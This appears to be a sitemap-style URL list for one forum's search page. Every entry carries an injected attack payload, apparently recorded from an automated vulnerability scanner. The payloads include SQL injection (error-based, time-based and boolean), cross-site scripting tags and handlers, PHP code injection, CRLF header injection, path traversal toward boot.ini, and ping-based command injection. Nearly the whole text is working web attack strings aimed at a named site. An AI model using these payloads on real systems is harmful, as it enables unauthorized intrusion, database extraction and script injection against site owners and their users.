http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%2089=36%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=18)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%2527 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%2527%20AND%2069=68%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%5B%5D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%5C%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%5C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true%bf%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%20'QT'='Vb 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20OR%20'Cu'='Cu'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=53)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'Mu'='Mu 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%2059=11%20AND%20('ZW'='ZW 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=48)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20('Gp'='Gp 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true';%20IF(93=81)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true);%20IF(25=41)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=true6633x3X6 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=trueAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=trueJyI%3D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=truealert(42873) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&source=hotsearch&searchsubmit=truee360 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%3Cdir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x3436383336356537%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(19=26)%20THEN%200x3436383336356537%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(25=21)%20THEN%200x3436383336356537%20ELSE%2025*(SELECT%2025%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(71=88)%20THEN%200x3436383336356537%20ELSE%2071*(SELECT%2071%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(86=45)%20THEN%200x3436383336356537%20ELSE%2086*(SELECT%2086%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20(CASE%20WHEN%20(93=52)%20THEN%200x3639323439306237%20ELSE%2093*(SELECT%2093%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&searchsubmit=true&source=hotsearch&formhash=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 